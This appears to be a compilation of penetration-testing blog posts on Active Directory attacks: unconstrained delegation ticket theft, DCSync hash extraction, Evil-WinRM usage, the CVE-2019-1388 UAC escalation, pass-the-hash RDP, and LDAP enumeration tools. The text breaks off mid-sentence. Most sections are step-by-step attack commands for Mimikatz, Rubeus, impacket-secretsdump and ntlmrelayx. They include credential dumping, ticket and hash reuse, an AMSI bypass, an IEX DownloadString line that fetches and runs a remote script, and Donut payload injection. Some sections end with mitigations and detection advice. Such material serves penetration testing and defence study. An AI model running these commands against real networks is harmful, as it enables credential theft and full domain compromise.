[Active Directory] Unconstrained delegation

Unconstrained delegation is a security feature or misconfiguration in Microsoft Active Directory (AD) that can be exploited by attackers to gain unauthorized access to resources within a network.

Occurs when a computer, such as a File Server, has the "Trust this computer for delegation to any service" option enabled, and a Domain Administrator logs into the File Server. This enables us to grab a copy of the Domain Administrator's TGT, which can be used to authenticate anywhere in the Domain.

Anytime, a user login onto the Computer, a copy of the TGT of that user is going to be sent inside the TGS provided by the DC and saved in memory in LSASS. So, if you have Administrator privileges on the machine, you will be able to dump the tickets and impersonate the users on any machine.

Attackers can then advance their attacks against unconstrained delegation using PowerShell and Mimikatz commands. They can

  • Dump and reuse credentials out of LSASS.
  • Export all private certificates.
  • Escalate privileges to have debug rights on the remote computer.

So if a domain admin login inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

What is Active Directory Delegation?

Delegation is an Active Directory feature for when a user or computer account needs to impersonate another account. For example, when a user calls a web application hosted on the web server, the application can impersonate the user credentials to access resources hosted on a different server, such as a database server. Any domain computers with unconstrained delegation enabled can impersonate user credentials to any service in the domain.

Type of Kerberos Delegation:

  • Unconstrained delegation
  • Constrained delegation
  • RBCD (Resource-Based Constrained Delegation)

A user Y requests a TGS for a service

The KDC checks to see if the TRUSTED_FOR_DELEGATION flag is enabled on user X and whether it belongs to the Protected Users group or has the NOT_DELEGATION flag.

In case you only have TRUSTED_FOR_DELEGATION, the KDC will include a TGT for user Y within the TGS for service X.

Finally, service X will receive the TGS and obtain the TGT from user Y.


  • Elevated privileges on the host that is configured for Unconstrained Delegation.
  • Kerberos Authentication: The target environment should use Kerberos authentication.
  • Account has the TRUSTED_FOR_DELEGATION flag in the User Account Control (UAC) flags.
  • User account has not the NOT_DELEGATED flag set which by default non domain accounts have this flag.


  • Vertically, escalate privileges to a higher privileged user like Domain Admin.
  • Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

Used Tools

  • Invoke-Mimikatz
  • PowerView
  • Active Directory Module



1. You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:

  • ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem


1. DCs always appear but aren't useful for privesc

  • Get-NetComputer -Unconstrained
  • Get-NetComputer -Unconstrained | Select samaccountname

Get-ADComputer (AD Module)

1. Active directory module can also be used to enumerate delegations

  • Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
  • Get-ADComputer "LAB-CLIENT-WIN1" -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
  • Get-ADComputer -Filter {TrustedForDelegation -eq $True}


  • Unconstrained Delegation: TrustedForDelegation = True
  • Constrained Delegation: TrustedToAuthForDelegation = True

2. Using the same module querying the “userAccountControl” attribute can provide the same results.

  • Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Get-ADComputer (AD Module)

1. Enumerate users that possess the TrustedForDelegation flag

  • Get-ADUser -Filter {TrustedForDelegation -eq $True}

Exploitation (Mimikatz)

1. Having access to a server with TRUSTED_FOR_DELEGATION flag, when a user requests access to a service, it could be a SMB service, or a website that needs access to a database, we can search for TGT tickets in memory, or we can capture the TGT ticket using Rubeus.exe. First, let’s try to search for tickets using mimikatz

  • Mimikatz.exe
  • privilege::debug
  • sekurlsa::tickets /export
    • mimikatz.exe "token::elevate" "sekurlsa::tickets /export"
  • kerberos::list /export
    • mimikatz.exe "token::elevate" "kerberos::list /export"

2. We found tickets, and, exported them.

  • dir

Extra (Invoke-Mimikatz)

# Export tickets (Preferred Method (More Accurate))

  • Invoke-Mimikatz -Command '"token::elevate "sekurlsa::tickets /export"'

# Alternative Method

  • Invoke-Mimikatz -Command '""token::elevate" "kerberos::list /export"'

Mimikatz (Pass the ticket: PTT)

1. Having the ticket exported, proceed to load it

  • kerberos::ptt [0;3f2148]-2-0-60a10000-Administrator@krbtgt-VK9-SEC.COM.kirbi

2. List the tickets loaded

  • kerberos::list /export

3. Run a new CMD

  • misc::cmd
  • klist

Exploitation (Rubeus)

1. Look for any existing interesting ticket

  • .\Rubeus.exe triage

2. Monitor to see if there are any in coming tickets, from requests from any other service

  • .\Rubeus.exe monitor /interval:1
  • Rubeus.exe monitor /interval:15 /nowrap
  • Rubeus.exe monitor /interval:15 /nowrap /targetuser:administrator

Note: Grab the base64 ticket

(Alternative) 3. You can dump tickets for selected user,service or LUID

  • Rubeus.exe dump /nowrap /user:administrator
  • Rubeus.exe dump /nowrap /service:krbtgt
  • Rubeus.exe dump /nowrap /luid:0x6ee60

Extra (Invoke-Rubeus)

# Triage for existing tickets

  • Invoke-Rubeus -Command "triage"

# Dump tickets for selected user,service or LUID

  • Invoke-Rubeus -Command "dump /nowrap /user:administrator"
  • Invoke-Rubeus -Command "dump /nowrap /service:krbtgt"
  • Invoke-Rubeus -Command "dump /nowrap /luid:0x6ee60"

# Monitor for and dump new tickets

  • Invoke-Rubeus -Command "monitor interval:15 /nowrap"
  • Invoke-Rubeus -Command "monitor interval:15 /nowrap /targetuser:administrator"

Rubeus (Pass the ticket: PTT)

1. Having the ticket we can proceed to use pass the ticket technique

  • .\Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show
  • .\Rubeus.exe ptt /ticket:[Base64 ticket]
  • .\Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

2. You can list the PC cached tickets

  • klist

3. Once the ticket has been imported, you can start a remote session to the server

  • Enter-PSSession -ComputerName lab-win2019
  • hostname; whoami


For this demo I used this tool to simulate a service on the remote machine (https://github.com/leechristensen/SpoolSample)

Here we have the compiled version



  • Identify all the servers that have delegation configured. Disable unconstrained Kerberos delegation and configure constrained delegation for servers that require it.
  • Enable the “Account is sensitive and cannot be delegated” setting for high privileged accounts.


  • Security admins should be more cautious of granting privileged permissions to users who can enable unconstrained Kerberos delegation. The option “Enable computer and user accounts to be trusted for delegation” is available under Security Settings >> Local Policies >> User Rights Assignment.
  • Adding user accounts to the Protected Users Security Group, available starting with Windows Server 2012 R2, can also mitigate unconstrained delegation exposure.













[Active Directory] DCSync Attack

The DCSync attack is a technique used by malicious actors to retrieve password hashes from a target domain controller in an Active Directory (AD) environment. This attack is based on abusing the DRSUAPI protocol, which is a part of the Microsoft Windows Active Directory replication process. Below, I'll explain how the DCSync attack works, step by step, its requirements, and how to protect against it:

  • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
  • By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
  • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text


The following high-level sequence of steps explains how a DCSync attack works, enabling attackers to take complete control of an organization’s AD infrastructure.

  • Compromise a standard or non-privileged user account with “Replicate Directory Changes” permission.
  • Discover a DC in the specified domain name.
  • Request the DC to replicate sensitive information such as password hashes using the Microsoft Directory Replication Service Remote (MS-DRSR) protocol.
  • Obtain NTLM hashes of potentially useful accounts such as KRBTGT and Administrators.
  • Create a Golden Ticket and run Pass the Ticket (PTT) attacks to move laterally.

A DCSync is not a simple copy & parse of the NTDS.dit file, it's a DsGetNCChanges operation transported in an RPC request to the DRSUAPI (Directory Replication Service API) to replicate data (including credentials) from a domain controller.

Elements Involved:

  • Active Directory Domain Controller (DC): The target domain controller is a Windows server responsible for managing user accounts, authentication, and authorization in the AD environment.
  • DCSync Tool: Malicious actors use tools like "Mimikatz", "PowerShell Empire" or "Impacket" to perform DCSync attacks. These tools have built-in functionality to request password hashes from the target DC.
  • Privileged Access: To execute a DCSync attack, an attacker typically needs high-level privileges within the AD environment, such as Domain Admin or equivalent permissions.


  • Privileged Access: The attacker needs to have high-level privileges in the AD environment to execute DCSync successfully.
  • The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All or Replicating Directory Changes In Filtered Set.
    • Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default.
  • Additionally, any security principal with one of the following rights delegated at the domain level can also successfully retrieve password hash data using the DCSync attack.
    • GenericAll (Full Control)
    • AllExtendedRights
  • DCSync-Capable Tool: The attacker must have access to a tool with DCSync functionality, such as Mimikatz.
  • Network Access: The attacker needs network access to the target domain controller.

Important Notes about DCSync:

  • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
  • By default only Domain Admins, Enterprise Admins, Administrators, Read-only Domain Controllers and Domain Controllers groups have the required privileges.
  • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text


Enumeration (PowerView)

1. Query for the domain info, copy it (DC=vk9-sec,DC=com)

  • Get-ForestGlobalCatalog

2. Check who has Replicating Directory Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

  • Get-ObjectAcl "DC=vk9-sec,DC=com" -ResolveGUIDS | ? {($_.ObjectAceType -like 'DS-Replication*')}
  • Get-ObjectAcl "DC=vk9-sec,DC=com" -ResolveGUIDS | ? {($_.ObjectAceType -like 'Replicating*')}
  • Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Note: knowing already the target user SID we can query

  • Get-ObjectAcl "DC=vk9-sec,DC=com" -ResolveGUIDS | ? {($_.ObjectAceType -like 'DS-Replication*') -and ($_.SecurityIdentifier -match <SID>)}

3. Knowing there is a user with these types of permissions you can query for the SecurityIdentifier to know which user it is

  • Get-ADUser -Identity S-1-5-21-3777574546-3462295754-3391741248-4192

Enumeration (AD module)

1. If any user has following permission, the user can perform DCSync attack:

  • DS-Replication-Get-Changes extended right (Rights-GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All extended right (Rights-GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-In-Filtered-Set extended right (Rights-GUID 89e95b76-444d-4c62-991a-0facbeda640c)

2. Search for users with the permissions

  • Import-Module ActiveDirectory
  • (Get-Acl "ad:\dc=vk9-sec,dc=com").Access | ? {($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) } | select IdentityReference

3. Query a specific user

  • (Get-Acl "ad:\dc=vk9-sec,dc=com").Access | ? {$_.IdentityReference -match 'user1' -and ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) }


Exploitation (Impacket / Remote)

1. Having the credentials of the user with DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set permissions we can extract the users

  • impacket-secretsdump <Domain>/<Username>:<Password>@<IP> -just-dc
  • impacket-secretsdump vk9-sec.com/user1:Admin.123@ -just-dc

2. To write the output in a file use -outputfile

  • impacket-secretsdump vk9-sec.com/user1:Admin.123@ -just-dc -outputfile <filename>

3. We can try pass the hash

  • impacket-secretsdump -outputfile 'something' -hashes 'LMhash':'NThash' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

4. We can also attempt Pass-the-Ticket

  • secretsdump -k -outputfile 'something' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

5. This attack can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to Zerologon since the DRSUAPI always requires signing.

# target vulnerable to Zerologon, dump DC's secrets only

  • ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER'

# target vulnerable to Zerologon, dump Domain's secrets

  • ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWO


1. When the credentials are wrong

2. When the Permissions are invalid

Exploitation (Mimikatz / Local)

1. Once the account is delegated the ability to replicate objects, the account can run Mimikatz DCSync:

# Extract a specific user, in this case the krbtgt

  • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
  • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:Administrator

# Dump everything (printed in a short and readable format)

  • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv

Note: On Windows, mimikatz can be used lsadump::dcsync to operate a DCSync and recover the krbtgt keys for a golden ticket attack for example. For this attack to work, the following mimikatz command should run in an elevated context (i.e. through runas with plaintext password, pass-the-hash or pass-the-ticket).



One method is to monitor Windows event logs for Event ID 4662. Logs are an important part of security, but using them to monitor across the IT environment has significant challenges.

  • Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
  • Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
  • Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed

For detect DCSync attack from Windows Security Log Event ID 4662 we need to check following parameter value:

  • SubjectUserName - "The subject fields indicate the account on the local system which requested the logon."
  • AccessMask - will be 0x100 which means Control Access. Access allowed only after extended rights checks supported by the object are performed.
  • Properties - This has two parts of information. First part is the type of access that was used. Typically has the same value as Accesses field, for example, here is %%7688 is first part and second part is a tree of GUID values of Active Directory classes or property sets, for which operation was performed. The second part will be our concern point, where we like to check any GUID was match with DS-Replication-Get-Changes extended right / DS-Replication-Get-Changes-All extended / DS-Replication-Get-Changes-In-Filtered-Set extended right.

Detecting DCSync usage

While there may be event activity that could be used to identify DCSync usage, the best detection method is through network monitoring.

1. Identify all Domain Controller IP addresses and add to “Replication Allow List”.

  • Get-ADDomainController -filter * | select IPv4Address
  • [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress

2. Configure IDS to trigger if DsGetNCChange request originates an IP not on the “Replication Allow List” (list of DC IPs).

Protection Against DCSync Attacks:

  • Implement Least Privilege: Limit the number of accounts with high-level privileges like Domain Admins to reduce the potential impact of privilege escalation.
  • Regularly Rotate Passwords: Frequently change the passwords of privileged accounts to make it more difficult for attackers to maintain access.
  • Monitor for Anomalies: Implement robust monitoring and auditing of AD events. Look for suspicious activities such as unusual replication requests or privilege escalations.
  • Restrict Network Access: Limit network access to domain controllers to only trusted systems and administrators.
  • Endpoint Security: Employ endpoint security solutions to detect and prevent credential theft and malicious activity
  • Limit Tool Availability: Restrict the availability of tools with DCSync capabilities to trusted administrators and systems.
  • Limit the number of security principals with replication rights to only those that absolutely require those rights.
  • Regularly review and audit your AD environment to identify non-default security principals with these rights and remove any unnecessary permissions.












[How to] Evil-WinRM: A Tool for Windows Remote Management Exploitation

WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.

This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.

It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines.

WinRM typically uses port 5985 for HTTP and port 5986 for HTTPS communication. However, the tool allows you to specify the desired port during usage, offering flexibility based on network configurations and security considerations.

  • 5985
  • 5986

Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.



  • Compatible to Linux and Windows client systems
  • Load in memory Powershell scripts
  • Load in memory dll files bypassing some AVs
  • Load in memory C# (C Sharp) assemblies bypassing some AVs
  • Load x64 payloads generated with awesome donut technique
  • Dynamic AMSI Bypass to avoid AV signatures
  • Pass-the-hash support
  • Kerberos auth support
  • SSL and certificates support
  • Upload and download files showing progress bar
  • List remote machine services without privileges
  • Command History
  • WinRM command completion
  • Local files/directories completion
  • Remote path (files/directories) completion (can be disabled optionally)
  • Colorization on prompt and output messages (can be disabled optionally)
  • Optional logging feature
  • Docker support (prebuilt images available at Dockerhub)
  • Trap capturing to avoid accidental shell exit on Ctrl+C


Ruby 2.3 or higher is needed. Some ruby gems are needed as well: winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2. Depending of your installation method (4 availables) the installation of them could be required to be done manually.

Another important requirement only used for Kerberos auth is to install the Kerberos package used for network authentication. For some Linux like Debian based (Kali, Parrot, etc.) it is called krb5-user. For BlackArch it is called krb5 and probably it could be called in a different way for other Linux distributions.

Installation & Quick Start (4 methods)

Method 1. Installation directly as ruby gem (dependencies will be installed automatically on your system)

Step 1. Install it (it will install automatically dependencies):

  • gem install evil-winrm

Step 2. Ready. Just launch it!

  • evil-winrm -i -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Method 2. Git clone and install dependencies on your system manually

Step 1. Install dependencies manually:

  • sudo gem install winrm winrm-fs stringio logger fileutils

Step 2. Clone the repo:

  • git clone https://github.com/Hackplayers/evil-winrm.git

Step 3. Ready. Just launch it!

  • cd evil-winrm && ruby evil-winrm.rb -i -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Method 3. Using bundler (dependencies will not be installed on your system, just to use evil-winrm)

Step 1. Install bundler:

  • gem install bundler

Step 2. Clone the repo:

  • git clone https://github.com/Hackplayers/evil-winrm.git

Step 3. Install dependencies with bundler:

  • cd evil-winrm && bundle install --path vendor/bundle

Step 4. Launch it with bundler:

  • bundle exec evil-winrm.rb -i -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Method 4. Using Docker

Step 1. Launch docker container based on already built image:

  • docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

How to use

1. Display help menu

  • evil-winrm --help

Note: Notice the tool version at the top.

2. Log in using one of the accounts username/password

  • evil-winrm -u admin1 -p Admin.123 -i

3. Connect using pass the hash

  • evil-winrm --ip [ip] --user [user] --hash [nt_hash]

4. Display the console menu, and bypass AMSI

Windows AMSI (Antimalware Scan Interface): A Microsoft security feature that allows applications and scripts to be scanned for malicious content in real-time by interfacing with antivirus and antimalware products.

  • menu
  • Bypass-4MSI

5. Connect to a host, specifying directories for scripts and executables

  • evil-winrm --ip [ip] --user [user] --password [password] --scripts [path/to/scripts] --executables [path/to/executables]


1. Connect to a host, using SSL

  • evil-winrm --ip [ip] --user [user] --password [password] --ssl --pub-key [path/to/pubkey] --priv-key [path/to/privkey]

Upload Download files

1. Upload files

  • upload [path/to/local/file] [path/to/remote/file]
  • upload /home/kali/secret.txt C:\Users\admin1\Documents\secret.txt

2. Download files

  • download [path/to/local/file] [path/to/remote/file]
  • download C:\Users\admin1\Documents\Server_Secret.txt /home/kali/Server_Secret.txt

Import Powershell scripts

1. To load a powershell script download the script into the remote computer, display the menu and see all the methods/modules imported

  • IEX(New-Object Net.WebClient).DownloadString('')
  • menu

2. Run the modules

  • Get-Domain

3. (OPTIONAL) We can also log in specifying a local script folder, so, you just need to call it, without downloading it from the local machine

  • evil-winrm -u admin1 -p Admin.123 -i -s ~/Documents/Tools/PowerSploit/Recon
  • PowerView.ps1

Import DLL

1. Import DLL

  • Dll-Loader
  • Dll-Loader -smb -path \\\\share\\myDll.dll
  • Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
  • Dll-Loader -http -path http://example.com/myDll.dll

Note: To call the scripts

  • [SharpSploit.Enumeration.Net]::GetNetLocalGroupMembers()

Import Binary

1. Invoke a binary on the host from the --executables directory

  • Invoke-Binary
  • Invoke-Binary /opt/csharp/Watson.exe
  • Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
  • Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'

Import Donut payloads

1. Donut-Loader: allows to inject x64 payloads generated with awesome donut technique. No need to encode the payload.bin, just generate and inject! (https://github.com/TheWover/donut)

  • Donut-Loader
  • Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
  • Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin








(CVE-2019-1388)[Privilege Escalation] Microsoft Windows Certificate Dialog privilege escalation

Microsoft Windows could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper enforcement of user privileges in the Certificate Dialog. By executing a specially-crafted program, an authenticated attacker could exploit this vulnerability to execute arbitrary code with higher privileges.

To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.

This CVE exploit tend to abuse the UAC windows Certificate Dialog to execute the certificate issuer link as an NT Authority User and open a browser that is under NT Authority User. Then we can use that to prompt a shell as a NT Authority User.

What is Certificate Dialog?

The UAC (User Account Control) Windows Certificate Dialog is a component of the UAC system in Microsoft Windows. UAC is a security feature implemented in Windows Vista and later versions to mitigate the risks of unauthorized or malicious actions by prompting users for confirmation before allowing certain operations that require administrative privileges.

How UAC Windows Certificate Dialog Works:

  • User Initiates Action: When a user or an application attempts to perform an action that requires administrative privileges, such as installing or modifying certificates, a UAC prompt is triggered.
  • UAC Prompt: The UAC Windows Certificate Dialog appears, notifying the user that the action requires administrative rights. The dialog presents information about the application and the action being requested.
  • User Confirmation: The user must confirm the action by providing administrative credentials, typically an administrator's username and password.
  • Privilege Elevation: Upon confirmation, Windows grants the application or process the necessary elevated privileges to carry out the requested action. This might involve launching a separate process with administrative rights.
  • Action Execution: With the elevated privileges, the application can now perform the certificate-related operation that requires administrative access.

The prompts themselves are produced by an executable named consent.exe, running as NT AUTHORITY\SYSTEM and having an integrity level of System. Since the user can interact with this UI, it is necessary for the UI to be very tightly constrained. Otherwise, a low privileged user might be able to perform actions as SYSTEM via a circuitous route of UI operations. Even a solitary UI feature that appears harmless in isolation could potentially be the first step in a chain of actions leading to arbitrary control.

There is an obscure Microsoft-specific object identifier (OID) defined, having the numeric value

The WinTrust.h header defines this as SPC_SP_AGENCY_INFO_OBJID, and, if present, it will be displayed in the Details tab as SpcSpAgencyInfo.

Affected Systems


Windows 2008r2 7601

Windows 2012r2 9600

Windows 2016 14393

Windows 2019 1773


Windows 7 SP1 7601

Windows 8 9200

Windows 8.1 9600

Windows 10 1511 10240

Windows 10 1607 14393

Windows 10 1703 15063

Windows 10 1709 16299

Steps to abuse this vulnerability

1) Verify the current user you are, using cmd

  • whoami

2) find a program that can trigger the UAC prompt screen, run it as administrator. (In this demo I used: https://github.com/jas502n/CVE-2019-1388, HHUPD.exe)

3) select "Show more details"

4) select "Show information about the publisher's certificate"

5) click on the "Issued by" URL link it will prompt a browser interface. Then click OK to close this “Certificate” window and exit the UAC prompt

6) wait for the site to be fully loaded & select "save as" to prompt a explorer window for "save as".

Note: In my case, the webpage didn’t actually fully load so if that happens to you it is no worry, just verify within the address bar that it has a CA issuer address, in my case, Verisign.

7) This warning may appear just click OK and ignore it

  • When attempting to save the webpage you will get a pop up that states Location is not available. This verifies that escalation is working good. Simply hit OK and proceed on

8) on the explorer window address path, enter the cmd.exe full path:

C:\WINDOWS\system32\cmd.exe, use the enter key

Note: You will now go and save the webpage. This will vary on how it’s done depending on the browser.

  • (Alternatively way to open CMD): Within the System32 directory navigate down until you find the cmd executable. Right click on it and hit Open. A command prompt should open and to verify, type whoami and hit enter. whoami should display the current user as nt authority\system.

9) now you'll have an escalated privileges command prompt.


Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

Securing UAC Windows Certificate Dialog:

  • Keep UAC Enabled: UAC should be enabled to ensure that administrative actions are confirmed by the user. Disabling UAC removes this layer of security.
  • Use Strong User Accounts: Ensure that the accounts with administrative privileges have strong passwords to prevent unauthorized access.
  • Regular Updates: Keep your Windows operating system and security software up to date to address any known vulnerabilities.
  • Beware of Malicious Prompts: Be cautious when prompted by UAC dialogs, especially if you didn't initiate any action. Malware can attempt to trick users into granting elevated privileges.
  • Use Standard User Accounts: Whenever possible, use a standard user account for regular activities. Use an administrative account only when necessary.
  • Verify the Source: Before providing administrative credentials, verify the source of the UAC prompt and the legitimacy of the action.
  • Application Whitelisting: Consider using application whitelisting solutions to restrict the execution of only trusted applications.











[How to] xfreerdp

FreeRDP is an open-source implementation of the Remote Desktop Protocol (RDP), which is developed by Microsoft. It allows users to connect to and interact with remote Windows systems over a network connection. FreeRDP is widely used in the Linux community to establish remote desktop connections to Windows machines, offering a way to access Windows applications and desktop environments from within a Linux environment.

xfreerdp is a graphical client application provided by the FreeRDP project. It is designed to be used in Linux environments and provides a user-friendly interface for connecting to remote Windows systems via RDP. The "x" in "xfreerdp" stands for "X Window System," which is the graphical system used in most Linux distributions. This means that xfreerdp leverages the X Window System to display the remote Windows desktop on the local Linux machine.

  • xfreerdp /v: /u:username /pth:<NT_HASH>
  • xfreerdp /u:WANDA_RAMSEY /pth:12afe378bb20ba3eb14244b89560284e /d:vk9-sec /v:

Due to account access restrictions, I couldn’t log in but I managed to authenticate.

[How to] windapsearch

windapsearch is a Python script to help enumerate users, groups and computers from a Windows domain through LDAP queries. By default, Windows Domain Controllers support basic LDAP operations through port 389/tcp. With any valid domain account (regardless of privileges), it is possible to perform LDAP queries against a domain controller for any AD related information.




windapsearch requires the python-ldap module. Run the follow commands to execute the script

  • git clone https://github.com/ropnop/windapsearch.git
  • cd windapsearch
  • sudo apt-get install -y libldap2-dev libsasl2-dev libssl-dev
  • sudo apt-get install python3-dev
  • pip install --upgrade pip setuptools
  • pip install python-ldap
  • python3 windapsearch.py

How to use

1. Display menu

  • python3 windapsearch.py -h
  • python3 windapsearch.py --help

2. Basic query, to verify credentials are valid

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123

2. Query users & save output in a file (just specify the destination folder)

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -U -o ~/Desktop

3. Query groups

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -G -o ~/Desktop

4. Get Member from a group

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -m <group_name>
  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -m IR-gra-distlist1

5. Find unconstrained computers, usually Domain Controller is unconstrained

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 --unconstrained-computers

6. Find uncontrained users

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 --unconstrained-users

7. Get computers

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -C

8. Get privilege users

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -PU

9. Get users members of domain admins

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 --da

10. Enumerate all objects with protected ACLs (admins)

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 --admin-objects

11. Enumerate all user objects with Service Principal Names (for kerberoasting)

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 --user-spns

12. Enumerate Group Policy Objects

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 --gpos

13. Fuzzy search for all matching LDAP entries

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -s administrator

14. Get full attribute data

  • python3 windapsearch.py -d vk9-sec.com --dc-ip -u vk9-sec\\admin1 -p Admin.123 -G -o ~/Desktop --full

[How to] ldapdomaundump

In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user (or machine). This makes LDAP an interesting protocol for gathering information in the recon phase of a pentest of an internal network. A problem is that data from LDAP often is not available in an easy to read format.

ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable json and csv/tsv/greppable files.

The tool was designed with the following goals in mind:
  • Easy overview of all users/groups/computers/policies in the domain
  • Authentication both via username and password, as with NTLM hashes (requires ldap3 >=1.3.1)
  • Possibility to run the tool with an existing authenticated connection to an LDAP service, allowing for integration with relaying tools such as impackets ntlmrelayx
The tool outputs several files containing an overview of objects in the domain:
  • domain_groups: List of groups in the domain
  • domain_users: List of users in the domain
  • domain_computers: List of computer accounts in the domain
  • domain_policy: Domain policy such as password requirements and lockout policy
  • domain_trusts: Incoming and outgoing domain trusts, and their properties
As well as two grouped files:
